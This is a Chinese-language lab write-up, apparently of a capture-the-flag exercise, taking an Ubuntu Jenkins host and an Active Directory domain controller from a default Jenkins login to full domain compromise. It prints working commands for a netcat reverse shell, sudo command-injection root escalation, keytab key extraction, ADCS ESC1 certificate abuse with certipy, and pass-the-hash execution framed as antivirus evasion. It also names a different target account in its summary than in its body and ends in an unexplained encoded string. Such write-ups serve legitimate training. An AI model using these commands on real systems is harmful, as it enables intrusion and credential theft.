跨域渗透链:从Jenkins弱口令到ADCS ESC1拿下域控

0 阅读5分钟

目录

  • 摘要
  • 范围与目标
  • 枚举
  • 通过Jenkins初始访问Ubuntu服务器
  • 利用SUDO在Ubuntu服务器上提权至root
  • 在Ubuntu服务器上发现Kerberos keytab文件
  • 枚举域控制器
  • 通过域计算机的ADCS ESC1漏洞提权

摘要

Anomaly是一个结合Ubuntu服务器和Windows Active Directory的串联实验环境。首先发现Ubuntu服务器上运行着Jenkins,并使用“admin:admin”凭据登录,然后通过创建新任务执行Shell命令获得Ubuntu服务器的初始立足点。

获得Ubuntu服务器立足点后,进一步获取“jenkins”用户的权限。该用户可以通过SUDO以root身份执行自定义二进制文件,且无需密码。该自定义二进制文件会将参数直接传递给system()函数而不做任何检查,因此可以利用它提权至Ubuntu服务器的root。

成为root后,下载Kerberos keytab文件并提取域用户“Brandon_Boyd”的AES密钥。通过该用户的Kerberos票据开始域枚举,并在其描述信息中发现明文密码。

使用BloodHound发现,域计算机组的账户可以注册“CertAdmin”证书,该证书存在ADCS ESC1漏洞。于是创建新的计算机账户,利用漏洞获取域管理员“the_emperor”用户的NT哈希,最终拿下整个域。

范围与目标

目标

核心目标是演示成功入侵网络并获取客户端Active Directory环境域管理员权限的完整影响。测试将模拟一个具有动机的外部攻击者,从初始入口点到完全管理控制权的全过程。

范围

本次测试范围内的资产包括两个关键IP地址:

  1. 一台加固的 Ubuntu服务器(初始立足点目标)
  2. 域控制器(最终提权目标)

一个关键发现是域控制器上运行着活跃的杀毒软件(AV),因此测试中需采用绕过或规避已安装AV的技术,以成功拿下域并证明域完全失陷的可能性。

枚举

首先对Ubuntu服务器使用rustscan(比nmap更快,且VPN连接可承受此流量,不同于HTB)。发现Ubuntu服务器仅开放2个端口:SSH和运行在8080端口的Web服务。

rustscan -a Anomaly-Web -- -A

接下来对域控制器运行rustscan,发现如预期的大量端口开放。

rustscan -a Anomaly-DC -- -A

从各服务的证书中发现颁发者为“anomaly-ANOMALY-DC-CA-2”,表明域控制器上运行着证书服务。同时将“Anomaly-DC.anomaly.hsm”和“anomaly.hsm”添加到hosts文件中。

访问8080端口的网站,看到Jenkins正在运行。

通过简单猜测密码,最终使用“admin:admin”登录Jenkins。

通过Jenkins初始访问Ubuntu服务器

为获得Ubuntu服务器的Shell,创建一个新任务,在“构建步骤”中添加“执行Shell”。

使用busybox和netcat反向连接到本地机器的4444端口(penelope默认端口)。

busybox nc $IP $port -e /bin/bash

创建新任务后,运行penelope等待反向Shell。

penelope

点击“立即构建”执行反向Shell命令,几秒后在penelope上获得“jenkins”用户的Shell。

利用SUDO在Ubuntu服务器上提权至root

获得Ubuntu服务器立足点后,运行sudo -l检查可用权限。发现“jenkins”用户可以通过SUDO以root身份执行/usr/bin/router_config且无需密码。

该二进制文件是自定义的,需分析其行为。按F12分离会话,将二进制文件下载到本地。

通过ltrace运行该二进制文件,发现它会打印简单横幅并需要一个参数。输入任意参数后,发现它直接将参数传递给system()而不做任何检查,存在命令注入漏洞。

也可对该二进制文件进行静态分析,由于文件很小,使用dogbolt即可。

现在只需运行简单命令如id,确实看到命令被执行。回到Ubuntu服务器,利用该命令生成bash shell以root身份运行。

sudo /usr/bin/router_config "/bin/bash -p"

在Ubuntu服务器上发现Kerberos keytab文件

Penelope有一个方便的功能:无需手动下载即可在当前会话中运行linpeas。按F12分离会话,执行以下命令:

run peass_ng

linpeas结果显示Kerberos配置文件以及用户Brandon_Boyd@ANOMALY.HSM的keytab文件。

将文件下载到本地,使用KeyTabExtract提取AES密钥。

download /etc/krb5.keytab
python keytabextract.py ~/Desktop/hacksmarter/anon/krb5.keytab

获得AES密钥后,请求该用户的TGT(票据授予票据)。

impacket-getTGT anomaly.hsm/Brandon_Boyd -aesKey f9754c5288b844eb86054695b2c12b93716f57c41d26325c1a994e12bbbeff52

枚举域控制器

使用TGT,现在可以以“Brandon_Boyd”用户身份枚举域控制器。发现域控制器上没有非标准共享。

export KRB5CCNAME=Brandon_Boyd.ccache
uv run nxc smb Anomaly-DC.anomaly.hsm -k --use-kcache --shares

首先导出一个有效的域用户列表到文本文件,这样如果获得新哈希或密码,可以仅对有效域用户进行喷洒。从“Brandon_Boyd”用户的描述信息中发现其密码:“3edc4rfv#EDC$RFV”。

uv run nxc ldap Anomaly-DC.anomaly.hsm -k --use-kcache --users --export user.txt

可以使用用户名和密码运行rusthound,但这里选择Kerberos认证方式,需在Kerberos配置文件中正确配置realm才能使用票据运行rusthound。通过NetExec的--generate-krb5-file标志轻松创建Kerberos配置文件。

uv run nxc smb Anomaly-DC.anomaly.hsm -k --use-kcache --generate-krb5-file krb5conf2

将新创建的文件设置为Kerberos配置。

export KRB5_CONFIG=krb5conf2

现在可以使用Kerberos票据运行rusthound收集域信息。这样做是为了学习如何将Kerberos票据与rusthound结合使用。

rusthound-ce -d anomaly.hsm -k -no-pass -f ANOMALY-DC.anomaly.hsm

忘记指定-z参数生成zip文件,因此手动创建zip文件并上传到BloodHound。

通过域计算机的ADCS ESC1漏洞提权

使用与ESC1相关的查询发现,“Domain Computers”组的成员对“CertAdmin”证书模板拥有“GenericAll”权限。从rusthound控制台得知机器账户配额为10,意味着最多可以创建10台计算机,并且所有这些计算机都对此证书模板拥有ADCS ESC4和ADCS ESC1漏洞。

此外,寻找高价值目标——域管理员组的成员,这里选择“anna_molly”用户而非Administrator。

首先,使用bloodyAD创建新的机器账户。

bloodyAD --host Anomaly-DC -d anomaly.hsm -u Brandon_Boyd -p '3edc4rfv#EDC$RFV' addcomputer 'backup' 'password123'

然后使用新创建的域计算机账户检查是否确实对“CertAdmin”模板拥有ADCS ESC1和ESC4漏洞,结果确认存在。

certipy-ad find -u 'backup$@anomaly.hsm' -p 'password123' -stdout -vulnerable

为确保ADCS ESC1成功执行且无错误,同时查找“anna_molly”的SID以映射其samaccountname。

然后请求证书,并在SAN中指定“anna_molly”用户的UPN。通过提供SID,可降低映射错误的风险。成功请求到“anna_molly”用户的证书。

certipy req -u 'backup$@anomaly.hsm' -p 'password123' -target 'anomaly.hsm' -dc-ip $IP -ca 'anomaly-ANOMALY-DC-CA-2' -template 'CertAdmin' -upn 'anna_molly@anomaly.hsm' -sid 'S-1-5-21-1496966362-3320961333-4044918980-1105'

使用刚获得的证书再次向域控制器进行身份验证以获取TGT,certipy会自动检索NT哈希。

certipy auth -pfx anna_molly.pfx -dc-ip $IP

现在确认该用户对此域控制器拥有管理权限。

uv run nxc smb Anomaly-DC.anomaly.hsm -u anna_molly -H be4bf3131851aee9a424c58e02879f6e

由于域控制器上运行着杀毒软件,使用wmiexec2(wmiexec的静默升级版)以规避基于签名的AV检测,以本地管理员身份在机器上执行命令,最终获取管理员桌面上的root flag。

python wmiexec2.py anomaly.hsm/anna_molly@ANOMALY-DC -hashes :be4bf3131851aee9a424c58e02879f6e

完成。 CSD0tFqvECLokhw9aBeRqpCS+KqY/EwGEHdXbPTy1NLpWCZNf3EGjkksGvLy6Fj8OEHzvjz2w4N62uq99R+dlLztWntxm3I12RW5ubHsIaSLSQQ7/8DAuXB2oYydUzsMZ2WajkVkUqMyPzYTld4Nmw==